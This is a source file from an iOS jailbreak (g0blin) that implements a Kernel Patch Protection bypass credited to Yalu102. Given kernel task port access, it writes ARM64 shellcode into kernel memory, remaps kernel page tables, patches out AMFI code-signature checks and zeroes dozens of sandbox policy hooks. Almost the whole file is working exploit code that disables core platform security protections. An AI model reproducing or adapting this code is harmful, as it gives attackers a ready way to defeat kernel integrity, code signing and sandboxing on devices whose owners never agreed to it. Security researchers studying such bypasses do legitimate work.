kpp.m 19 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518
  1. //
  2. // kpp.m
  3. // g0blin
  4. //
  5. // Created by Sticktron on 2017-12-26.
  6. // Copyright © 2017 qwertyoruiop. All rights reserved.
  7. //
  8. #include "kpp.h"
  9. #include "kernel.h"
  10. // This is @qwertyoruiop's KPP bypass from Yalu102 -----------------------------
  11. #import "pte_stuff.h"
  12. #include "patchfinder64.h"
  13. kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0) {
  14. kern_return_t ret;
  15. checkvad();
  16. uint64_t entryp;
  17. int rv = init_patchfinder(tfp0, kernbase, NULL);
  18. if (rv != 0) {
  19. printf("[ERROR]: could not initialize kernel\n");
  20. ret = KERN_FAILURE;
  21. goto cleanup;
  22. }
  23. printf("[INFO]: sucessfully initialized kernel\n");
  24. uint64_t gStoreBase = find_gPhysBase();
  25. printf("[INFO]: gStoreBase = %llx \n", gStoreBase);
  26. gPhysBase = ReadAnywhere64(gStoreBase);
  27. gVirtBase = ReadAnywhere64(gStoreBase+8);
  28. printf("[INFO]: gPhysBase = %llx \n", gPhysBase);
  29. printf("[INFO]: gVirtBase = %llx \n", gVirtBase);
  30. entryp = find_entry() + slide;
  31. printf("[INFO]: entryp = %llx \n", entryp);
  32. uint64_t rvbar = entryp & (~0xFFF);
  33. uint64_t cpul = find_register_value(rvbar+0x40, 1);
  34. uint64_t optr = find_register_value(rvbar+0x50, 20);
  35. if (uref) {
  36. optr = ReadAnywhere64(optr) - gPhysBase + gVirtBase;
  37. }
  38. printf("[INFO]: optr = %llx \n", optr);
  39. uint64_t cpu_list = ReadAnywhere64(cpul - 0x10 /*the add 0x10, 0x10 instruction confuses findregval*/) - gPhysBase + gVirtBase;
  40. uint64_t cpu = ReadAnywhere64(cpu_list);
  41. uint64_t pmap_store = find_kernel_pmap();
  42. printf("[INFO]: pmap = %llx \n", pmap_store);
  43. level1_table = ReadAnywhere64(ReadAnywhere64(pmap_store));
  44. printf("[INFO]: level1_table = %llx \n", level1_table);
  45. uint64_t shellcode = physalloc(0x4000);
  46. /*
  47. ldr x30, a
  48. ldr x0, b
  49. br x0
  50. nop
  51. a:
  52. .quad 0
  53. b:
  54. .quad 0
  55. none of that squad shit tho, straight gang shit. free rondonumbanine
  56. */
  57. WriteAnywhere32(shellcode + 0x100, 0x5800009e); /* trampoline for idlesleep */
  58. WriteAnywhere32(shellcode + 0x100 + 4, 0x580000a0);
  59. WriteAnywhere32(shellcode + 0x100 + 8, 0xd61f0000);
  60. WriteAnywhere32(shellcode + 0x200, 0x5800009e); /* trampoline for deepsleep */
  61. WriteAnywhere32(shellcode + 0x200 + 4, 0x580000a0);
  62. WriteAnywhere32(shellcode + 0x200 + 8, 0xd61f0000);
  63. char buf[0x100];
  64. copyin(buf, optr, 0x100);
  65. copyout(shellcode+0x300, buf, 0x100);
  66. uint64_t physcode = findphys_real(shellcode);
  67. printf("[INFO]: got phys at %llx for virt %llx\n", physcode, shellcode);
  68. uint64_t idlesleep_handler = 0;
  69. uint64_t plist[12]={0,0,0,0,0,0,0,0,0,0,0,0};
  70. int z = 0;
  71. int idx = 0;
  72. int ridx = 0;
  73. while (cpu) {
  74. cpu = cpu - gPhysBase + gVirtBase;
  75. if ((ReadAnywhere64(cpu+0x130) & 0x3FFF) == 0x100) {
  76. printf("[ERROR]: already jailbroken, bailing out\n");
  77. ret = KERN_ABORTED;
  78. goto cleanup;
  79. }
  80. if (!idlesleep_handler) {
  81. WriteAnywhere64(shellcode + 0x100 + 0x18, ReadAnywhere64(cpu+0x130)); // idlehandler
  82. WriteAnywhere64(shellcode + 0x200 + 0x18, ReadAnywhere64(cpu+0x130) + 12); // deephandler
  83. idlesleep_handler = ReadAnywhere64(cpu+0x130) - gPhysBase + gVirtBase;
  84. uint32_t* opcz = malloc(0x1000);
  85. copyin(opcz, idlesleep_handler, 0x1000);
  86. idx = 0;
  87. while (1) {
  88. if (opcz[idx] == 0xd61f0000 /* br x0 */) {
  89. break;
  90. }
  91. idx++;
  92. }
  93. ridx = idx;
  94. while (1) {
  95. if (opcz[ridx] == 0xd65f03c0 /* ret */) {
  96. break;
  97. }
  98. ridx++;
  99. }
  100. }
  101. printf("[INFO]: found cpu %x\n", ReadAnywhere32(cpu+0x330));
  102. printf("[INFO]: found physz: %llx\n", ReadAnywhere64(cpu+0x130) - gPhysBase + gVirtBase);
  103. plist[z++] = cpu+0x130;
  104. cpu_list += 0x10;
  105. cpu = ReadAnywhere64(cpu_list);
  106. }
  107. uint64_t shc = physalloc(0x4000);
  108. uint64_t regi = find_register_value(idlesleep_handler+12, 30);
  109. uint64_t regd = find_register_value(idlesleep_handler+24, 30);
  110. printf("[INFO]: %llx - %llx\n", regi, regd);
  111. for (int i = 0; i < 0x500/4; i++) {
  112. WriteAnywhere32(shc+i*4, 0xd503201f);
  113. }
  114. /*
  115. isvad 0 == 0x4000
  116. */
  117. uint64_t level0_pte = physalloc(isvad == 0 ? 0x4000 : 0x1000);
  118. uint64_t ttbr0_real = find_register_value(idlesleep_handler + idx*4 + 24, 1);
  119. printf("[INFO]: ttbr0: %llx %llx\n",ReadAnywhere64(ttbr0_real), ttbr0_real);
  120. char* bbuf = malloc(0x4000);
  121. copyin(bbuf, ReadAnywhere64(ttbr0_real) - gPhysBase + gVirtBase, isvad == 0 ? 0x4000 : 0x1000);
  122. copyout(level0_pte, bbuf, isvad == 0 ? 0x4000 : 0x1000);
  123. uint64_t physp = findphys_real(level0_pte);
  124. WriteAnywhere32(shc, 0x5800019e); // ldr x30, #40
  125. WriteAnywhere32(shc+4, 0xd518203e); // msr ttbr1_el1, x30
  126. WriteAnywhere32(shc+8, 0xd508871f); // tlbi vmalle1
  127. WriteAnywhere32(shc+12, 0xd5033fdf); // isb
  128. WriteAnywhere32(shc+16, 0xd5033f9f); // dsb sy
  129. WriteAnywhere32(shc+20, 0xd5033b9f); // dsb ish
  130. WriteAnywhere32(shc+24, 0xd5033fdf); // isb
  131. WriteAnywhere32(shc+28, 0x5800007e); // ldr x30, 8
  132. WriteAnywhere32(shc+32, 0xd65f03c0); // ret
  133. WriteAnywhere64(shc+40, regi);
  134. WriteAnywhere64(shc+48, /* new ttbr1 */ physp);
  135. shc+=0x100;
  136. WriteAnywhere32(shc, 0x5800019e); // ldr x30, #40
  137. WriteAnywhere32(shc+4, 0xd518203e); // msr ttbr1_el1, x30
  138. WriteAnywhere32(shc+8, 0xd508871f); // tlbi vmalle1
  139. WriteAnywhere32(shc+12, 0xd5033fdf); // isb
  140. WriteAnywhere32(shc+16, 0xd5033f9f); // dsb sy
  141. WriteAnywhere32(shc+20, 0xd5033b9f); // dsb ish
  142. WriteAnywhere32(shc+24, 0xd5033fdf); // isb
  143. WriteAnywhere32(shc+28, 0x5800007e); // ldr x30, 8
  144. WriteAnywhere32(shc+32, 0xd65f03c0); // ret
  145. WriteAnywhere64(shc+40, regd); /*handle deepsleep*/
  146. WriteAnywhere64(shc+48, /* new ttbr1 */ physp);
  147. shc-=0x100;
  148. {
  149. int n = 0;
  150. WriteAnywhere32(shc+0x200+n, 0x18000148); n+=4; // ldr w8, 0x28
  151. WriteAnywhere32(shc+0x200+n, 0xb90002e8); n+=4; // str w8, [x23]
  152. WriteAnywhere32(shc+0x200+n, 0xaa1f03e0); n+=4; // mov x0, xzr
  153. WriteAnywhere32(shc+0x200+n, 0xd10103bf); n+=4; // sub sp, x29, #64
  154. WriteAnywhere32(shc+0x200+n, 0xa9447bfd); n+=4; // ldp x29, x30, [sp, #64]
  155. WriteAnywhere32(shc+0x200+n, 0xa9434ff4); n+=4; // ldp x20, x19, [sp, #48]
  156. WriteAnywhere32(shc+0x200+n, 0xa94257f6); n+=4; // ldp x22, x21, [sp, #32]
  157. WriteAnywhere32(shc+0x200+n, 0xa9415ff8); n+=4; // ldp x24, x23, [sp, #16]
  158. WriteAnywhere32(shc+0x200+n, 0xa8c567fa); n+=4; // ldp x26, x25, [sp], #80
  159. WriteAnywhere32(shc+0x200+n, 0xd65f03c0); n+=4; // ret
  160. WriteAnywhere32(shc+0x200+n, 0x0e00400f); n+=4; // tbl.8b v15, { v0, v1, v2 }, v0
  161. }
  162. mach_vm_protect(tfp0, shc, 0x4000, 0, VM_PROT_READ|VM_PROT_EXECUTE);
  163. mach_vm_address_t kppsh = 0;
  164. mach_vm_allocate(tfp0, &kppsh, 0x4000, VM_FLAGS_ANYWHERE);
  165. {
  166. int n = 0;
  167. WriteAnywhere32(kppsh+n, 0x580001e1); n+=4; // ldr x1, #60
  168. WriteAnywhere32(kppsh+n, 0x58000140); n+=4; // ldr x0, #40
  169. WriteAnywhere32(kppsh+n, 0xd5182020); n+=4; // msr TTBR1_EL1, x0
  170. WriteAnywhere32(kppsh+n, 0xd2a00600); n+=4; // movz x0, #0x30, lsl #16
  171. WriteAnywhere32(kppsh+n, 0xd5181040); n+=4; // msr CPACR_EL1, x0
  172. WriteAnywhere32(kppsh+n, 0xd5182021); n+=4; // msr TTBR1_EL1, x1
  173. WriteAnywhere32(kppsh+n, 0x10ffffe0); n+=4; // adr x0, #-4
  174. WriteAnywhere32(kppsh+n, isvad ? 0xd5033b9f : 0xd503201f); n+=4; // dsb ish (4k) / nop (16k)
  175. WriteAnywhere32(kppsh+n, isvad ? 0xd508871f : 0xd508873e); n+=4; // tlbi vmalle1 (4k) / tlbi vae1, x30 (16k)
  176. WriteAnywhere32(kppsh+n, 0xd5033fdf); n+=4; // isb
  177. WriteAnywhere32(kppsh+n, 0xd65f03c0); n+=4; // ret
  178. WriteAnywhere64(kppsh+n, ReadAnywhere64(ttbr0_real)); n+=8;
  179. WriteAnywhere64(kppsh+n, physp); n+=8;
  180. WriteAnywhere64(kppsh+n, physp); n+=8;
  181. }
  182. mach_vm_protect(tfp0, kppsh, 0x4000, 0, VM_PROT_READ|VM_PROT_EXECUTE);
  183. WriteAnywhere64(shellcode + 0x100 + 0x10, shc - gVirtBase + gPhysBase); // idle
  184. WriteAnywhere64(shellcode + 0x200 + 0x10, shc + 0x100 - gVirtBase + gPhysBase); // idle
  185. WriteAnywhere64(shellcode + 0x100 + 0x18, idlesleep_handler - gVirtBase + gPhysBase + 8); // idlehandler
  186. WriteAnywhere64(shellcode + 0x200 + 0x18, idlesleep_handler - gVirtBase + gPhysBase + 8); // deephandler
  187. /*
  188. pagetables are now not real anymore, they're real af
  189. */
  190. uint64_t cpacr_addr = find_cpacr_write();
  191. #define PSZ (isvad ? 0x1000 : 0x4000)
  192. #define PMK (PSZ-1)
  193. #define RemapPage_(address) \
  194. pagestuff_64((address) & (~PMK), ^(vm_address_t tte_addr, int addr) {\
  195. uint64_t tte = ReadAnywhere64(tte_addr);\
  196. if (!(TTE_GET(tte, TTE_IS_TABLE_MASK))) {\
  197. printf("[INFO]: breakup!\n");\
  198. uint64_t fakep = physalloc(PSZ);\
  199. uint64_t realp = TTE_GET(tte, TTE_PHYS_VALUE_MASK);\
  200. TTE_SETB(tte, TTE_IS_TABLE_MASK);\
  201. for (int i = 0; i < PSZ/8; i++) {\
  202. TTE_SET(tte, TTE_PHYS_VALUE_MASK, realp + i * PSZ);\
  203. WriteAnywhere64(fakep+i*8, tte);\
  204. }\
  205. TTE_SET(tte, TTE_PHYS_VALUE_MASK, findphys_real(fakep));\
  206. WriteAnywhere64(tte_addr, tte);\
  207. }\
  208. uint64_t newt = physalloc(PSZ);\
  209. copyin(bbuf, TTE_GET(tte, TTE_PHYS_VALUE_MASK) - gPhysBase + gVirtBase, PSZ);\
  210. copyout(newt, bbuf, PSZ);\
  211. TTE_SET(tte, TTE_PHYS_VALUE_MASK, findphys_real(newt));\
  212. TTE_SET(tte, TTE_BLOCK_ATTR_UXN_MASK, 0);\
  213. TTE_SET(tte, TTE_BLOCK_ATTR_PXN_MASK, 0);\
  214. WriteAnywhere64(tte_addr, tte);\
  215. }, level1_table, isvad ? 1 : 2);
  216. #define NewPointer(origptr) (((origptr) & PMK) | findphys_real(origptr) - gPhysBase + gVirtBase)
  217. uint64_t* remappage = calloc(512, 8);
  218. int remapcnt = 0;
  219. #define RemapPage(x)\
  220. {\
  221. int fail = 0;\
  222. for (int i = 0; i < remapcnt; i++) {\
  223. if (remappage[i] == (x & (~PMK))) {\
  224. fail = 1;\
  225. }\
  226. }\
  227. if (fail == 0) {\
  228. RemapPage_(x);\
  229. RemapPage_(x+PSZ);\
  230. remappage[remapcnt++] = (x & (~PMK));\
  231. }\
  232. }
  233. level1_table = physp - gPhysBase + gVirtBase;
  234. WriteAnywhere64(ReadAnywhere64(pmap_store), level1_table);
  235. uint64_t shtramp = kernbase + ((const struct mach_header *)find_mh())->sizeofcmds + sizeof(struct mach_header_64);
  236. LOG("before first remap");
  237. RemapPage(cpacr_addr);
  238. WriteAnywhere32(NewPointer(cpacr_addr), 0x94000000 | (((shtramp - cpacr_addr)/4) & 0x3FFFFFF));
  239. LOG("before second remap");
  240. RemapPage(shtramp);
  241. WriteAnywhere32(NewPointer(shtramp), 0x58000041);
  242. WriteAnywhere32(NewPointer(shtramp)+4, 0xd61f0020);
  243. WriteAnywhere64(NewPointer(shtramp)+8, kppsh);
  244. uint64_t lwvm_write = find_lwvm_mapio_patch();
  245. uint64_t lwvm_value = find_lwvm_mapio_newj();
  246. LOG("before third remap");
  247. RemapPage(lwvm_write);
  248. WriteAnywhere64(NewPointer(lwvm_write), lwvm_value);
  249. uint64_t kernvers = find_str("Darwin Kernel Version");
  250. uint64_t release = find_str("RELEASE_ARM");
  251. LOG("before fourth remap");
  252. RemapPage(kernvers-4);
  253. WriteAnywhere32(NewPointer(kernvers-4), 1);
  254. LOG("before fifth remap");
  255. RemapPage(release);
  256. if (NewPointer(release) == (NewPointer(release+11) - 11)) {
  257. copyout(NewPointer(release), "MarijuanARM", 11); /* marijuanarm */
  258. }
  259. /* nonceenabler ? */
  260. {
  261. uint64_t sysbootnonce = find_sysbootnonce();
  262. printf("[INFO]: nonce: %x\n", ReadAnywhere32(sysbootnonce));
  263. WriteAnywhere32(sysbootnonce, 1);
  264. }
  265. /* AMFI */
  266. uint64_t memcmp_got = find_amfi_memcmpstub();
  267. uint64_t ret1 = find_ret_0();
  268. RemapPage(memcmp_got);
  269. WriteAnywhere64(NewPointer(memcmp_got), ret1);
  270. uint64_t fref = find_reference(idlesleep_handler+0xC, 1, SearchInCore);
  271. printf("[INFO]: fref at %llx\n", fref);
  272. uint64_t amfiops = find_amfiops();
  273. printf("[INFO]: amfistr at %llx\n", amfiops);
  274. {
  275. uint64_t sbops = amfiops;
  276. uint64_t sbops_end = sbops + sizeof(struct mac_policy_ops);
  277. uint64_t nopag = sbops_end - sbops;
  278. for (int i = 0; i < nopag; i+= PSZ)
  279. RemapPage(((sbops + i) & (~PMK)));
  280. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap)), 0);
  281. }
  282. /*
  283. first str
  284. */
  285. while (1) {
  286. uint32_t opcode = ReadAnywhere32(fref);
  287. if ((opcode & 0xFFC00000) == 0xF9000000) {
  288. int32_t outhere = ((opcode & 0x3FFC00) >> 10) * 8;
  289. int32_t myreg = (opcode >> 5) & 0x1f;
  290. uint64_t rgz = find_register_value(fref, myreg)+outhere;
  291. WriteAnywhere64(rgz, physcode+0x200);
  292. break;
  293. }
  294. fref += 4;
  295. }
  296. fref += 4;
  297. /*
  298. second str
  299. */
  300. while (1) {
  301. uint32_t opcode = ReadAnywhere32(fref);
  302. if ((opcode & 0xFFC00000) == 0xF9000000) {
  303. int32_t outhere = ((opcode & 0x3FFC00) >> 10) * 8;
  304. int32_t myreg = (opcode >> 5) & 0x1f;
  305. uint64_t rgz = find_register_value(fref, myreg)+outhere;
  306. WriteAnywhere64(rgz, physcode+0x100);
  307. break;
  308. }
  309. fref += 4;
  310. }
  311. {
  312. // sandbox
  313. uint64_t sbops = find_sbops();
  314. uint64_t sbops_end = sbops + sizeof(struct mac_policy_ops) + PMK;
  315. uint64_t nopag = (sbops_end - sbops)/(PSZ);
  316. for (int i = 0; i < nopag; i++) {
  317. RemapPage(((sbops + i*(PSZ)) & (~PMK)));
  318. }
  319. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap)), 0);
  320. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_iokit_check_get_property)), 0); //ts
  321. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat)), 0);
  322. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_fork)), 0); //ts
  323. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_run_cs_invalid)), 0); //test
  324. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_access)), 0);
  325. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_chroot)), 0);
  326. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_create)), 0);
  327. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr)), 0);
  328. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata)), 0);
  329. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exec)), 0);
  330. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath)), 0);
  331. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr)), 0);
  332. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist)), 0);
  333. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr)), 0);
  334. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl)), 0);
  335. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_link)), 0);
  336. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr)), 0);
  337. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_open)), 0);
  338. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_readlink)), 0);
  339. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename)), 0);
  340. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist)), 0);
  341. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr)), 0);
  342. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setflags)), 0);
  343. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setmode)), 0);
  344. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setowner)), 0);
  345. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes)), 0);
  346. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_stat)), 0);
  347. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_truncate)), 0);
  348. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_unlink)), 0);
  349. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_write)), 0);
  350. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_notify_create)), 0);
  351. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_signal)),0);
  352. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_wait)),0);
  353. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_suspend_resume)),0);
  354. /*
  355. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_debug)), 0);
  356. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_expose_task)), 0);
  357. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_get_task_name)), 0);
  358. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_get_task)), 0);
  359. WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_revoke)), 0);
  360. */
  361. //WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_ioctl)),0);
  362. // WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_policy_syscall)),0);
  363. //mpo_file_check_ioctl
  364. //mpo_proc_check_suspend_resume
  365. //mpo_proc_check_wait
  366. //look into this one mpo_iokit_check_hid_control
  367. //mpo_policy_syscall
  368. //mpo_proc_check_proc_info
  369. // mpo_cred_check_label_update_execve - tihmstar
  370. // WARNING - has to patched like this or Widgets (and javascript?) fail.
  371. {
  372. uint64_t off = find_sandbox_label_update_execve();
  373. LOG("find_sandbox_label_update_execve = 0x%llx", off);
  374. LOG("----------");
  375. LOG("unslid = 0x%llx", off - slide);
  376. LOG("was looking for: 0xfffffff006c35fb8");
  377. LOG("----------");
  378. #define INSN_NOP 0xd503201f
  379. RemapPage(off);
  380. WriteAnywhere32(NewPointer(off), INSN_NOP);
  381. }
  382. }
  383. {
  384. uint64_t point = find_amfiret()-0x18;
  385. RemapPage((point & (~PMK)));
  386. uint64_t remap = NewPointer(point);
  387. assert(ReadAnywhere32(point) == ReadAnywhere32(remap));
  388. WriteAnywhere32(remap, 0x58000041);
  389. WriteAnywhere32(remap + 4, 0xd61f0020);
  390. WriteAnywhere64(remap + 8, shc+0x200); /* amfi shellcode */
  391. }
  392. for (int i = 0; i < z; i++) {
  393. WriteAnywhere64(plist[i], physcode + 0x100);
  394. }
  395. while (ReadAnywhere32(kernvers-4) != 1) {
  396. sleep(1);
  397. }
  398. printf("[INFO]: enabled patches\n");
  399. ret = KERN_SUCCESS;
  400. cleanup:
  401. return ret;
  402. }